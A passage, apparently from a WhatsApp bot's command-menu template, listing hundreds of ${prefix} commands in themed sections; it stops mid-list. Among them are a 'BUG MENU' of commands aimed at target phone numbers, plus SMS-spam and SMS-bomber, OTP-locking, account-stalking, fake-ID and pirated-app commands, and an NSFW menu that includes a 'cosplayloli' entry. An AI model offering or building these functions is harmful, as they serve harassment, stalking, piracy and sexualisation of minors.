${prefix} ᴇɴᴄʀʏᴘᴛ +├❍ ${prefix} ʟᴀɴɢᴜᴀɢᴇs +├❍ ${prefix} ᴄʀᴇᴅɪᴛs +├❍ ${prefix} sᴜᴘᴘᴏʀᴛ +├❍ ${prefix} ʀᴇᴘᴏsᴛ +├❍ ${prefix} vv2 +├❍ ${prefix} ᴛɪᴋᴛᴏᴋsᴇᴀʀᴄʜ +├❍ ${prefix} ᴍᴏᴠɪᴇ +├❍ ${prefix} ᴠᴏʟᴠɪᴅ +├❍ ${prefix} ʀᴇᴍɪɴɪ +├❍ ${prefix} ᴜᴘsᴄᴀʟᴇ +├❍ ${prefix} ʜᴅᴠɪᴅᴇᴏ +├❍ ${prefix} ᴋᴅʀᴀᴍᴀ +├❍ ${prefix} channel +├❍ ${prefix} ғʟɪᴘᴛᴇxᴛ +├❍ ${prefix} sᴘᴀᴍsᴍs +├❍ ${prefix} ᴡᴇᴀᴛʜᴇʀ +├❍ ${prefix} ᴍᴏᴅᴀᴘᴋ +├❍ ${prefix} ᴛᴇʀᴀʙᴏx +├❍ ${prefix} ᴛɪɴʏᴜʀʟ +├❍ ${prefix} sʜᴏʀᴛᴜʀʟ +├❍ ${prefix} ᴄᴜᴛᴛʟʏ +├❍ ${prefix} ʙɪᴛʟʏ +├❍ ${prefix} sᴏᴜɴᴅ1-sᴏᴜɴᴅ161 +├❍ ${prefix} ᴠᴏʟᴠɪᴅ +│ +└ ❏ + +┌ ❏ 〤 *BUG MENU* 〤 +├❍ ${prefix} ʙᴇɴᴋᴀɪ 23490xxxxxx +├❍ ${prefix} ǫ-ᴀɴɪᴛᴀ 23490xxxxxx +├❍ ${prefix} ᴠᴇɴᴏᴍ 23490xxxxxx +├❍ ${prefix} ᴢᴇɴɪᴛsᴜ 23490xxxxxx +└ ❏ + +┌ ❏ 〤 *ECONOMY MENU* 〤 +├❍ ${prefix} ᴅᴀɪʟʏ +├❍ ${prefix} ᴛʀᴀɴsғᴇʀ <ᴛᴀɢ> < amount > +├❍ ${prefix} ʙᴀɴᴋ +├❍ ${prefix} ᴡᴀʟʟᴇᴛ +├❍ ${prefix} ᴡɪᴛʜᴅʀᴀᴡ +├❍ ${prefix} ᴅᴇᴘᴏsɪᴛ +├❍ ${prefix} sʜᴏᴘ +├❍ ${prefix} ʙᴜʏɢᴜᴀʀᴅ +├❍ ${prefix} ʙᴜʏ +├❍ ${prefix} ʟᴏᴛᴛᴇʀʏ +├❍ ${prefix} ʙᴜʏᴛɪᴄᴋᴇᴛ +├❍ ${prefix} ʀᴏʟʟ-ᴅɪᴄᴇ +├❍ ${prefix} ᴅᴜᴇʟ +└ ❏ + +┌ ❏ 〤 *WEAPONS MENU* 〤 +├❍ ${prefix} ʙᴜʏᴡᴇᴀᴘᴏɴ +├❍ ${prefix} ᴍʏᴡᴇᴀᴘᴏɴs +├❍ ${prefix} ᴀᴛᴛᴀᴄᴋ +└ ❏ + +┌ ❏ 〤 *PET MENU* 〤 +├❍ ${prefix} ʙᴜʏᴘᴇᴛ +├❍ ${prefix} ᴍʏᴘᴇᴛ +├❍ ${prefix} ᴛʀᴀɪɴ <ɴᴜᴍʙᴇʀ> +├❍ ${prefix} ʙᴀᴛᴛʟᴇ @user +└ ❏ + + +┌ ❏ 〤 *LEVEL-UP MENU* 〤 +├❍ ${prefix} ʟᴇᴠᴇʟ +├❍ ${prefix} ʟᴇᴠᴇʟᴜᴘ <ᴏɴ/ᴏғғ> +├❍ ${prefix} ʟᴇᴀᴅᴇʀʙᴏᴀʀᴅ +└ ❏ + + +┌ ❏ 〤 *EDITOR MENU* 〤 +│ +├❍ ${prefix} ᴡᴀɴᴛᴇᴅ +├❍ ${prefix} ᴅʀᴀᴋᴇ +├❍ ${prefix} ᴄʟᴏᴡɴ +├❍ ${prefix} ᴀʟᴇʀᴛ +├❍ ${prefix} ᴘᴇᴛɢɪғ +├❍ ${prefix} ᴛᴡᴇᴇᴛ +├❍ ${prefix} ᴀʟʙᴜᴍ +└ ❏ + +┌ ❏ 〤 *CRYPTO MENU* 〤 +├❍ ${prefix} ᴄʀʏᴘᴛᴏ-ᴘʀɪᴄᴇ +├❍ ${prefix} ᴛᴏᴘ-ᴄʀʏᴘᴛᴏ +├❍ ${prefix} ᴄʀʏᴘᴛᴏ-ɪɴᴅᴇx +├❍ ${prefix} ᴄʀʏᴘᴛᴏ-ᴄᴏɴᴠᴇʀᴛ +├❍ ${prefix} ᴄʀʏᴘᴛᴏ-ɴᴇᴡs +└ ❏ + +┌ ❏ 〤 *TEMP NUMBER MENU* 〤 +├❍ ${prefix} ᴛᴇᴍᴘɴᴜᴍʙᴇʀ +├❍ ${prefix} ɴᴜᴍʙᴇʀɪɴʙᴏx +├❍ ${prefix} ᴏɴʟɪɴᴇᴄᴏᴜɴᴛʀɪᴇs +└ ❏ + +┌ ❏ 〤 *MOVIE DOWNLOADER MENU* 〤 +├❍ ${prefix} ᴍᴏᴠɪᴇ +├❍ ${prefix} sᴇʟᴇᴄᴛᴍᴏᴠɪᴇ <ɴᴜᴍʙᴇʀ> +├❍ ${prefix} ᴅʟᴍᴏᴠɪᴇ <ɴᴜᴍʙᴇʀ> +└ ❏ + +┌ ❏ 〤 *PREMIUM UNLOCKED APPS MENU* 〤 +├❍ ${prefix} ғғ_ʜᴇᴀᴅsʜᴏᴛ +├❍ ${prefix} ᴄᴀᴘᴄᴜᴛ +├❍ ${prefix} ᴄᴀᴘᴄᴜᴛ2 +├❍ ${prefix} ɴᴇᴛғʟɪx +├❍ ${prefix} ᴛᴇʟᴇɢʀᴀᴍ +├❍ ${prefix} sᴍs_ʙᴏᴍʙᴇʀ +├❍ ${prefix} ʀᴇᴍɪɴɪ_ᴀᴘᴋ +├❍ ${prefix} ʏᴏᴜᴛᴜʙᴇ_ᴀᴘᴋ +├❍ ${prefix} ᴘʀɪᴍᴇ_ᴠɪᴅᴇᴏ +└ ❏ + + +┌ ❏ 〤 *OWNER MENU* 〤 +├❍ ${prefix} ᴄʜᴀᴛʙᴏᴛ <ᴏɴ/ᴏғғ> +├❍ ${prefix} ᴄʜᴀᴛʙᴏᴛɢᴄ <ᴏɴ/ᴏғғ> +├❍ ${prefix} ᴄʜᴀᴛʙᴏᴛᴀʟʟ <ᴏɴ/ᴏғғ> +├❍ ${prefix} ᴜᴘᴅᴀᴛᴇ +├❍ ${prefix} sʜᴜᴛᴅᴏᴡɴ +├❍ ${prefix} sᴇᴛʙɪᴏ +├❍ ${prefix} ᴍᴏᴅᴇ-ᴘʀɪᴠᴀᴛᴇ +├❍ ${prefix} ᴍᴏᴅᴇ-ᴘᴜʙʟɪᴄ +├❍ ${prefix} ʀᴇᴘᴏʀᴛ +├❍ ${prefix} ᴄʟᴇᴀʀᴄʜᴀᴛ +├❍ ${prefix} sᴇᴛᴘᴘ +├❍ ${prefix} ɢᴇᴛᴘᴘ +├❍ ${prefix} ʟɪsᴛʙʟᴏᴄᴋ +├❍ ${prefix} ʙʟᴏᴄᴋ +├❍ ${prefix} ᴜɴʙʟᴏᴄᴋ +├❍ ${prefix} ɢᴇᴛʙɪᴏ +├❍ ${prefix} ʀᴇsᴛᴀʀᴛ +├❍ ${prefix} ᴀɴᴛɪᴠɪᴇᴡᴏɴᴄᴇ <ᴏɴ/ᴏғғ> +├❍ ${prefix} ᴀɴᴛɪᴅᴇʟᴇᴛᴇ <ᴏɴ/ᴏғғ> +├❍ ${prefix} ᴀɴᴛɪᴄᴀʟʟ <ᴏɴ/ᴏғғ> +├❍ ${prefix} ᴀᴜᴛᴏᴠɪᴇᴡsᴛᴀᴛᴜs <ᴏɴ/ᴏғғ> +├❍ ${prefix} ᴀᴜᴛᴏsᴛᴀᴛᴜsʀᴇᴀᴄᴛ <ᴏɴ/ᴏғғ> +├❍ ${prefix} ᴀᴜᴛᴏʙɪᴏ <ᴏɴ/ᴏғғ> +├❍ ${prefix} ᴀᴜᴛᴏʀᴇᴀᴄᴛ <ᴏɴ/ᴏғғ> +├❍ ${prefix} ᴀᴜᴛᴏᴛʏᴘɪɴɢ <ᴏɴ/ᴏғғ> +├❍ ${prefix} ᴀᴜᴛᴏʀᴇᴄᴏʀᴅɪɴɢ <ᴏɴ/ᴏғғ> +├❍ ${prefix} ᴀʟᴡᴀʏsᴏɴʟɪɴᴇ <ᴏɴ/ᴏғғ> +├❍ ${prefix} ᴀᴜᴛᴏʀᴇᴀᴅ <ᴏɴ/ᴏғғ> +├❍ ${prefix} ᴜɴᴀᴠᴀɪʟᴀʙʟᴇ +├❍ ${prefix} ᴅᴇʟᴇᴛᴇ +├❍ ${prefix} ᴍᴏᴅᴇ +├❍ ${prefix} sᴜᴅᴏ +├❍ ${prefix} ᴅᴇʟsᴜᴅᴏ +├❍ ${prefix} ʟɪsᴛsᴜᴅᴏ +├❍ ${prefix} $ +├❍ ${prefix} => +├❍ ${prefix} > +├❍ ${prefix} ᴘʀᴇᴍɪᴜᴍ +├❍ ${prefix} ʙᴜʏᴘʀᴇᴍɪᴜᴍ +├❍ ${prefix} ᴀᴅᴅᴄᴀꜱᴇ +├❍ ${prefix} ᴅᴇʟᴄᴀꜱᴇ +├❍ ${prefix} ʀᴇꜱᴛᴀʀᴛ +├❍ ${prefix} ꜱᴛᴏᴘ +└ ❏ + +┌ ❏ 〤 *ISLAM MENU* 〤 +│ +├❍ ${prefix} ᴅᴏᴀʜᴀʀɪᴀɴ +├❍ ${prefix} ᴋɪsᴀʜɴᴀʙɪ +├❍ ${prefix} sᴜʀᴀʜ +├❍ ${prefix} ᴊᴀᴅᴡᴀʟsʜᴏʟᴀᴛ +│ +└ ❏ + +┌ ❏ 〤 *ANIME MENU* 〤 +│ +├❍ ${prefix} ʙʟᴜᴇᴀʀᴄʜɪᴠᴇ +├❍ ${prefix} animecharacter +├❍ ${prefix} ᴡᴀɪғᴜ +├❍ ${prefix} ǫᴜᴏᴛᴇsᴀɴɪᴍᴇ +├❍ ${prefix} ᴋɪʀʏᴜᴜ +├❍ ${prefix} 9animᴇ +├❍ ${prefix} ᴡᴇʙᴛᴏᴏɴ +├❍ ${prefix} ᴀᴋɪʀᴀ +├❍ ${prefix} ᴀᴋɪʏᴀᴍᴀ +├❍ ${prefix} animesearch +├❍ ${prefix} anime ᴠɪᴅᴇᴏ +├❍ ${prefix} ᴀʀᴛ +├❍ ${prefix} ᴀsᴜɴᴀ +├❍ ${prefix} ᴀʏᴜᴢᴀᴡᴀ +├❍ ${prefix} ʙᴏʀᴜᴛᴏ +├❍ ${prefix} ʙᴛs +├❍ ${prefix} ᴄʜɪʜᴏ +├❍ ${prefix} ᴄᴏsᴘʟᴀʏ +├❍ ${prefix} ᴄᴏsᴘʟᴀʏʟᴏʟɪ +├❍ ${prefix} ᴄʏʙᴇʀ +├❍ ${prefix} ᴅᴇɪᴅᴇʀᴀ +├❍ ${prefix} ᴅᴏʀᴀᴇᴍᴏɴǫ +├❍ ${prefix} ᴇʟɪᴀɴᴀ +├❍ ${prefix} ᴇᴢʀᴀ +├❍ ${prefix} ᴇᴍɪʟɪᴀ +├❍ ${prefix} ᴇxᴏ +├❍ ${prefix} ɢᴀᴍᴇᴡᴀʟʟᴘᴀᴘᴇʀ +├❍ ${prefix} ɢʀᴇᴍᴏɴʏ +├❍ ${prefix} ʜᴀᴄᴋᴇʀ +├❍ ${prefix} ʜᴇsᴛɪᴀ +├❍ ${prefix} ʜɪɴᴀᴛᴀ +├❍ ${prefix} ʜᴜsʙᴜ +├❍ ${prefix} ɪɴᴏʀɪ +├❍ ${prefix} ɪsᴜᴢᴜ +├❍ ${prefix} ɪsʟᴀᴍɪᴄ +├❍ ${prefix} ɪᴛᴏʀɪ +├❍ ${prefix} ᴊᴇɴɴɪᴇ +├❍ ${prefix} ɪᴛᴀᴄʜɪ +├❍ ${prefix} ᴊɪsᴏ +├❍ ${prefix} ᴊᴜsᴛɪɴᴀ +├❍ ${prefix} ᴋᴀɢᴀ +├❍ ${prefix} ᴋᴀɢᴜʀᴀ +├❍ ${prefix} ᴋᴀᴋᴀsɪʜ +├❍ ${prefix} ᴄᴀʀᴛᴏᴏɴ +├❍ ${prefix} ᴋᴀᴏsʜɪ +├❍ ${prefix} sʜᴏʀᴛǫᴜᴏᴛᴇ +├❍ ${prefix} ᴋᴇɴᴇᴋɪ +├❍ ${prefix} ᴋᴏᴛᴏʀɪ +├❍ ${prefix} ᴋᴜʀᴜᴍɪ +├❍ ${prefix} ʟɪsᴀ +├❍ ${prefix} ᴍᴀᴅᴀʀᴀ +├❍ ${prefix} ᴍᴇɢᴜᴍɪɴ +├❍ ${prefix} ᴍɪᴄᴋʏ +├❍ ${prefix} ᴍɪᴋᴀsᴀ +├❍ ${prefix} ᴍɪᴋᴜ +├❍ ${prefix} ɴᴀʀᴜᴛᴏ +├❍ ${prefix} ᴍᴇɴᴀᴛᴏ +├❍ ${prefix} ᴍᴏᴜɴᴛᴀɪɴ +├❍ ${prefix} ɴᴇᴋᴏ +├❍ ${prefix} ɴᴇᴋᴏᴍɪɴᴇ +├❍ ${prefix} ɴᴇᴢᴜᴋᴏ +├❍ ${prefix} ᴏɴᴇᴘᴇɪᴄᴇ +├❍ ${prefix} ᴘᴏᴋᴇᴍᴏɴ +├❍ ${prefix} ᴘʀᴏɢʀᴀᴍᴍɪɴɢ +├❍ ${prefix} ᴘᴇɴᴛᴏʟ +├❍ ${prefix} ʀᴀɴᴅᴏᴍɴɪᴍᴇ +├❍ ${prefix} ʀᴀɴᴅᴏᴍɴɪᴍᴇ2 +├❍ ${prefix} ʀɪᴢᴇ +├❍ ${prefix} ʀᴏsᴇ +├❍ ${prefix} sᴀɢɪʀɪ +├❍ ${prefix} sᴀᴋᴜʀᴀ +├❍ ${prefix} sᴀᴛᴀɴɪᴄ +├❍ ${prefix} sasukᴇ +├❍ ${prefix} sʜɪɴᴀɴ +├❍ ${prefix} sʜɪɴᴋᴀ +├❍ ${prefix} sʜᴏᴛᴀ +├❍ ${prefix} sᴘᴀᴄᴇ +├❍ ${prefix} ᴛᴇᴄʜɴᴏʟᴏɢʏ +├❍ ${prefix} ᴛᴇᴊɪɴᴀ +├❍ ${prefix} ᴛᴏᴜᴋᴀᴄʜᴀɴ +├❍ ${prefix} ᴛsᴜɴᴀᴅᴇ +├❍ ${prefix} ʏᴏᴛsᴜʙᴀ +├❍ ${prefix} ʏᴜᴋɪ +├❍ ${prefix} ʏᴜᴍᴇᴋᴏ +├❍ ${prefix} ʏᴜʟɪʙᴏᴄɪʟ +│ +└ ❏ + +┌ ❏ 〤 *NSFW MENU* 〤 +├❍ ${prefix} ɢᴇɴsʜɪɴ +├❍ ${prefix} sᴡɪᴍsᴜɪᴛ +├❍ ${prefix} sᴄʜᴏᴏʟsᴡɪᴍsᴜɪᴛ +├❍ ${prefix} ᴡʜɪᴛᴇ +├❍ ${prefix} ʙᴀʀᴇғᴏᴏᴛ +├❍ ${prefix} ᴛᴏᴜʜᴏᴜ +├❍ ${prefix} ɢᴀᴍᴇᴄɢ +├❍ ${prefix} ʜᴏʟᴏʟɪᴠᴇ +├❍ ${prefix} ᴜɴᴄᴇɴsᴏʀᴇᴅ +├❍ ${prefix} sᴜɴɢɢʟᴀssᴇs +├❍ ${prefix} ɢʟᴀssᴇs +├❍ ${prefix} ᴡᴇᴀᴘᴏɴ +├❍ ${prefix} sʜɪʀᴛʟɪғᴛ +├❍ ${prefix} ᴄʜᴀɪɴ +├❍ ${prefix} ғɪɴɢᴇʀɪɴɢ +├❍ ${prefix} ғʟᴀᴛᴄʜᴇsᴛ +├❍ ${prefix} ᴛᴏʀɴᴄʟᴏᴛʜ +├❍ ${prefix} ʙᴏɴᴅᴀɢᴇ +├❍ ${prefix} ᴅᴇᴍᴏɴ +├❍ ${prefix} ᴘᴀɴᴛʏᴘᴜʟʟ +├❍ ${prefix} ʜᴇᴀᴅᴘʜᴏɴᴇ +├❍ ${prefix} ʜᴇᴀᴅᴅʀᴇss +├❍ ${prefix} ᴀɴᴜsᴠɪᴇᴡ +├❍ ${prefix} sʜᴏʀᴛs +├❍ ${prefix} sᴛᴏᴋɪɴɢs +├❍ ${prefix} ᴛᴏᴘʟᴇss +├❍ ${prefix} ʙᴇᴀᴄʜ +├❍ ${prefix} ʙᴜɴɴʏɢɪʀʟ +├❍ ${prefix} ʙᴜɴɴʏᴇᴀʀ +├❍ ${prefix} ᴠᴀᴍᴘɪʀᴇ +├❍ ${prefix} ʙɪᴋɪɴɪ +├❍ ${prefix} ɴᴏʙʀᴀ +├❍ ${prefix} ᴡʜɪᴛᴇʜᴀɪʀ +├❍ ${prefix} ʙʟᴏɴᴅᴇ +├❍ ${prefix} ᴘɪɴᴋʜᴀɪʀ +├❍ ${prefix} ʙᴇᴅ +├❍ ${prefix} ᴘᴏɴʏᴛᴀɪʟ +├❍ ${prefix} ɴᴜᴅᴇ +├❍ ${prefix} ᴅʀᴇss +├❍ ${prefix} ᴜɴᴅᴇʀᴡᴇᴀʀ +├❍ ${prefix} ᴜɴɪғᴏʀᴍ +├❍ ${prefix} ғᴏxɢɪʀʟ +├❍ ${prefix} sᴋɪʀᴛ +├❍ ${prefix} ʙʀᴇᴀsᴛ +├❍ ${prefix} ᴛᴡɪɴᴛᴀɪʟ +├❍ ${prefix} sᴘʀᴇᴀᴅᴘᴜssʏ +├❍ ${prefix} sᴇᴇᴛʜʀᴏᴜɢʜ +├❍ ${prefix} ʙʀᴇᴀsᴛʜᴏʟᴅ +├❍ ${prefix} ғᴀᴛᴇsᴇʀɪᴇs +├❍ ${prefix} sᴘʀᴇᴀᴅʟᴇɢs +├❍ ${prefix} ᴏᴘᴇɴsʜɪʀᴛ +├❍ ${prefix} ʜᴇᴀᴅʙᴀɴᴅ +├❍ ${prefix} ɴɪᴘᴘʟᴇs +├❍ ${prefix} ᴇʀᴇᴄᴛɴɪᴘᴘʟᴇs +├❍ ${prefix} ɢʀᴇᴇɴʜᴀɪʀ +├❍ ${prefix} ᴡᴏʟғɢɪʀʟ +└ ❏ + +┌ ❏ 〤 *REACTIONS MENU* 〤 +├❍ ${prefix} ᴋɪʟʟ +├❍ ${prefix} ᴘᴀᴛ +├❍ ${prefix} ʟɪᴄᴋ +├❍ ${prefix} ʙɪᴛᴇ +├❍ ${prefix} ʏᴇᴇᴛ +├❍ ${prefix} ʙᴏɴᴋ +├❍ ${prefix} ᴡɪɴᴋ +├❍ ${prefix} ᴘᴏᴋᴇ +├❍ ${prefix} ɴᴏᴍ +├❍ ${prefix} sʟᴀᴘ +├❍ ${prefix} sᴍɪʟᴇ +├❍ ${prefix} ᴡᴀᴠᴇ +├❍ ${prefix} ʙʟᴜsʜ +├❍ ${prefix} sᴍᴜɢ +├❍ ${prefix} ɢʟᴏᴍᴘ +├❍ ${prefix} ʜᴀᴘᴘʏ +├❍ ${prefix} ᴅᴀɴᴄᴇ +├❍ ${prefix} ᴄʀɪɴɢᴇ +├❍ ${prefix} ʜɪɢʜғɪᴠᴇ +└ ❏ + +┌ ❏ 〤 *EMOJI MENU* 〤 +├❍ ${prefix} ʟᴀᴜɢʜ +├❍ ${prefix} sʜʏ +├❍ ${prefix} sᴀᴅ +├❍ ${prefix} ᴋɪss +├❍ ${prefix} ᴍᴏᴏɴ +├❍ ${prefix} ᴀɴɢᴇʀ +├❍ ${prefix} ʜᴀᴘᴘʏ +├❍ ${prefix} ᴄᴏɴғᴜsᴇᴅ +├❍ ${prefix} ʜᴇᴀʀᴛ +└ ❏ + +┌ ❏ 〤 *GAME MENU* 〤 +│ +├❍ ${prefix} ᴄʟᴀɴ +├❍ ${prefix} ᴡᴇʀᴇᴡᴏʟғ +├❍ ${prefix} ᴡᴀʀ +├❍ ${prefix} ᴍsᴘ +├❍ ${prefix} ᴜɴᴏ +├❍ ${prefix} ɢɪᴠᴇᴀᴡᴀʏ +├❍ ${prefix} ʙʟᴀᴄᴋᴊᴀᴄᴋ +├❍ ${prefix} ᴛɪᴄᴛᴀᴄᴛᴏᴇ +├❍ ${prefix} ᴡʀɢ +├❍ ${prefix} ᴡᴄɢ +└ ❏ + +┌ ❏ 〤 *USER MENU* 〤 +│ +├❍ ${prefix} ᴀғᴋ +├❍ ${prefix} sᴇʀᴠᴇʀ +├❍ ${prefix} ᴅɪsᴋ +├❍ ${prefix} ʟᴏᴏᴋᴜᴘ +├❍ ${prefix} ᴘɪɴɢ +├❍ ${prefix} ᴀʟɪᴠᴇ +├❍ ${prefix} sʏsᴛᴇᴍ +├❍ ${prefix} ᴅɪsᴋ +├❍ ${prefix} ʀuntime +│ +└ ❏ + +┌ ❏ 〤 *FUN MENU* 〤 +│ +├❍ ${prefix} ᴛᴏᴘ +├❍ ${prefix} ғᴀᴄᴛ +├❍ ${prefix} ғʟɪᴘᴄᴏɪɴ +├❍ ${prefix} ʀᴀᴛᴇ +├❍ ${prefix} ʀɪᴢᴢ +├❍ ${prefix} ғʟɪʀᴛ +├❍ ${prefix} ᴘɪᴄᴋᴜᴘʟɪɴᴇ +├❍ ${prefix} ᴊᴏᴋᴇ +├❍ ${prefix} sʜɪᴘ +├❍ ${prefix} ᴅᴀʀᴇ +├❍ ${prefix} ᴛʀᴜᴛʜ +├❍ ${prefix} ᴛʀɪᴠɪᴀ +├❍ ${prefix} ᴀɴsᴡᴇʀ +├❍ ${prefix} sᴄᴏʀᴇʙᴏᴀʀᴅ +├❍ ${prefix} ʜᴏʀᴏsᴄᴏᴘᴇ +├❍ ${prefix} sᴛᴜᴘɪᴅᴄʜᴇᴄᴋ +├❍ ${prefix} ɢᴀʏᴄʜᴇᴄᴋ +├❍ ${prefix} ᴡᴀɪғᴜᴄʜᴇᴄᴋ +├❍ ${prefix} ʜᴏᴛᴄʜᴇᴄᴋ +├❍ ${prefix} ᴜɴᴄʟᴇᴀɴᴄʜᴇᴄᴋ +├❍ ${prefix} ᴇᴠɪʟᴄʜᴇᴄᴋ +├❍ ${prefix} smarᴛ ᴄʜᴇᴄᴋ +├❍ ${prefix} sᴏᴜʟᴍᴀᴛᴇ <ᴛᴀɢ> +├❍ ${prefix} ᴄᴏᴜᴘʟᴇ <ᴛᴀɢ> +├❍ ${prefix} ᴡʜᴀᴛ +├❍ ${prefix} ᴡʜᴇʀᴇ +├❍ ${prefix} ᴡʜᴇɴ +├❍ ${prefix} ɪs +│ +└ ❏ + +┌ ❏ 〤 *VOICE CHANGER MENU* 〤 +│ +├❍ ${prefix} ʙᴀss +├❍ ${prefix} ʙʟᴏᴡɴ +├❍ ${prefix} ᴅᴇᴇᴘ +├❍ ${prefix} ᴇᴀʀʀᴀᴘᴇ +├❍ ${prefix} ғᴀsᴛ +├❍ ${prefix} ғᴀᴛ +├❍ ${prefix} ɴɪɢʜᴛᴄᴏʀᴇ +├❍ ${prefix} ʀᴇᴠᴇʀsᴇ +├❍ ${prefix} ʀᴏʙᴏᴛ +├❍ ${prefix} sʟᴏᴡ +├❍ ${prefix} sᴍᴏᴏᴛʜ +├❍ ${prefix} sǫᴜɪʀʀᴇʟ +└ ❏ + + +┌ ❏ 〤 *GROUP MENU* 〤 +├❍ ${prefix} ᴀᴅᴅ <ᴛᴀɢs> +├❍ ${prefix} ᴋɪᴄᴋ <ᴛᴀɢs> +├❍ ${prefix} ʀᴇᴍᴏᴠᴇ <ᴄᴏᴜɴᴛʀʏ ᴄᴏᴅᴇ> +├❍ ${prefix} ᴇᴠᴇʀʏᴏɴᴇ +├❍ ${prefix} ᴛᴀɢᴀʟʟ +├❍ ${prefix} ʟᴇᴀᴠᴇɢᴄ +├❍ ${prefix} ᴊᴏɪɴ +├❍ ${prefix} ɪɴᴠɪᴛᴇ +├❍ ${prefix} ɢᴇᴛɴᴀᴍᴇ +├❍ ${prefix} ɢᴇᴛᴅᴇsᴋɢᴄ +├❍ ${prefix} ɢᴇᴛᴘᴘɢᴄ +├❍ ${prefix} sᴇᴛᴘᴘɢᴄ +├❍ ${prefix} sᴠᴄᴏɴᴛᴀᴄᴛ +├❍ ${prefix} ʟɪsᴛᴏɴʟɪɴᴇ +├❍ ${prefix} ᴏᴘᴇɴɢʀᴏᴜᴘ +├❍ ${prefix} ᴄʟᴏsᴇɢʀᴏᴜᴘ +├❍ ${prefix} ʟɪɴᴋɢᴄ +├❍ ${prefix} ʀᴇsᴇᴛʟɪɴᴋ +├❍ ${prefix} ᴄʀᴇᴀᴛᴇɢᴄ +├❍ ${prefix} ʜɪᴅᴇᴛᴀɢ +├❍ ${prefix} ᴀɴᴛɪʟɪɴᴋ +├❍ ${prefix} ᴀɴᴛɪʟɪɴᴋ-ᴋɪᴄᴋ <ᴏɴ/ᴏғғ> +├❍ ${prefix} ᴀɴᴛɪʟɪɴᴋ-ᴅᴇʟᴇᴛᴇ <ᴏɴ/ᴏғғ> +├❍ ${prefix} ᴀɴᴛɪsᴘᴀᴍ <ᴏɴ/ᴏғғ> +├❍ ${prefix} ᴘʀᴏᴍᴏᴛᴇ <ᴛᴀɢs> +├❍ ${prefix} ᴅᴇᴍᴏᴛᴇ <ᴛᴀɢs> +├❍ ${prefix} ᴘʀᴏᴍᴏᴛᴇᴀʟʟ <ᴛᴀɢs> +├❍ ${prefix} ᴅᴇᴍᴏᴛᴇᴀʟʟ <ᴛᴀɢs> +├❍ ${prefix} ᴘʀᴏᴍᴏᴛᴇ <ᴛᴀɢs> +├❍ ${prefix} ᴋɪᴄᴋᴀʟʟ <ᴛᴀɢs> +├❍ ${prefix} ᴡᴀʀɴ <ᴛᴀɢs> +└ ❏ + +┌ ❏ 〤 *SPECIAL MENU* 〤 +│ +├❍ ${prefix} ʟᴏᴄᴋᴏᴛᴘ +├❍ ${prefix} ᴀɴᴛɪʙᴜɢ +├❍ ${prefix} xxxsᴇᴀʀᴄʜ +├❍ ${prefix} xxxᴅᴏᴡɴʟᴏᴀᴅ +├❍ ${prefix} xɴxxsᴇᴀʀᴄʜ +├❍ ${prefix} xɴxxᴅᴏᴡɴʟᴏᴀᴅ +├❍ ${prefix} ʜᴇɴᴛᴀɪ +├❍ ${prefix} ᴛᴇxᴛ2ᴘᴅғ +├❍ ${prefix} ʟɪᴠᴇsᴄᴏʀᴇs +├❍ ${prefix} ғᴀᴄᴇsᴡᴀᴘ +├❍ ${prefix} sᴜʀᴇᴏᴅᴅs +├❍ ${prefix} ʙɪɴ +├❍ ${prefix} ғᴀᴋᴇɪᴅ +├❍ ${prefix} ᴀɴɪᴍᴇ <ᴇᴘɪsᴏᴅᴇ> +├❍ ${prefix} ᴄᴜᴛ +├❍ ${prefix} sᴀᴠᴇᴠɪᴅᴇᴏ <ᴠɪᴅᴇᴏ> +├❍ ${prefix} ᴀᴅᴅᴍᴜsɪᴄ <ᴀᴜᴅɪᴏ> +└ ❏ + +┌ ❏ 〤 *PHOXY MENU* 〤 +│ +├❍ ${prefix} sʜᴀᴅᴏᴡ +├❍ ${prefix} ʀᴏᴍᴀɴᴛɪᴄ +├❍ ${prefix} ᴡʀɪᴛᴇ +├❍ ${prefix} ʙᴜʀɴᴘᴀᴘᴇʀ +├❍ ${prefix} sᴍᴏᴋᴇ +├❍ ${prefix} ɴᴀʀᴜᴛᴏʙᴀɴɴᴇʀ +├❍ ${prefix} ʟᴏᴠᴇ +├❍ ${prefix} ᴜɴᴅᴇʀɢʀᴀss +├❍ ${prefix} ᴅᴏᴜʙʟᴇʟᴏᴠᴇ +├❍ ${prefix} ᴄᴏғғᴇᴇᴄᴜᴘ +├❍ ${prefix} ᴜɴᴅᴇʀᴡᴀᴛᴇʀᴏᴄᴇᴀɴ +├❍ ${prefix} sᴍᴏᴋʏɴᴇᴏɴ +├❍ ${prefix} sᴛᴀʀᴛᴇxᴛs +├❍ ${prefix} ʙᴀʟʟᴏɴᴛᴇxᴛs +├❍ ${prefix} ʀᴀɪɴʙᴏᴡᴇғғᴇᴄᴛ +├❍ ${prefix} ᴍᴇᴛᴀʟʟɪᴄᴇғғᴇᴄᴛ +├❍ ${prefix} ᴇᴍʙʀᴏɪᴅᴇʀʏᴛᴇxᴛs +├❍ ${prefix} sᴛᴏɴᴇᴛᴇxᴛs +├❍ ${prefix} ғʟᴀᴍɪɴɢᴛᴇxᴛ +├❍ ${prefix} ᴡʀɪᴛᴇᴀʀᴛs +├❍ ${prefix} sᴜᴍᴍᴇʀᴛᴇxᴛs +├❍ ${prefix} ɴᴀᴛᴜʀᴇ3ᴅᴛᴇxᴛs +├❍ ${prefix} ʀᴏsᴇsᴛᴇxᴛs +├❍ ${prefix} ᴡᴏʟғᴍᴇᴛᴀʟᴛᴇxᴛs +├❍ ${prefix} ɴᴀᴛᴜʀᴀʟᴛʏᴘᴏɢʀᴀᴘʜʏ +├❍ ${prefix} sʜɪɴᴇᴛᴇxᴛs +├❍ ${prefix} ǫᴜᴏᴛᴇsᴜɴᴅᴇʀ +└ ❏ + +┌ ❏ 〤 *STALK MENU* 〤 +│ +├❍ ${prefix} ɢɪᴛʜᴜʙsᴛᴀʟᴋ +├❍ ${prefix} ɪɢsᴛᴀʟᴋ +├❍ ${prefix} ᴛɪᴋᴛᴏᴋsᴛᴀʟᴋ +├❍ ${prefix} ғғsᴛᴀʟᴋ +│ +└ ❏ + + +┌ ❏ 〤 *VIDEO LOGO MENU* 〤 +│ +├❍ ${prefix} ʟᴏɢᴏɪɴᴛʀᴏ +├❍ ${prefix} ᴇʟᴇɢᴀɴᴛ +├❍ ${prefix} ᴘᴜʙɢ +├❍ ${prefix} ᴛɪɢᴇʀ +└ ❏ + + + +┌ ❏ 〤 *PHOTO MENU〤 +│ +├❍ ${prefix} ɢʟɪᴛᴄʜᴛᴇxᴛ +├❍ ${prefix} ᴡʀɪᴛᴇᴛᴇxᴛ +├❍ ${prefix} 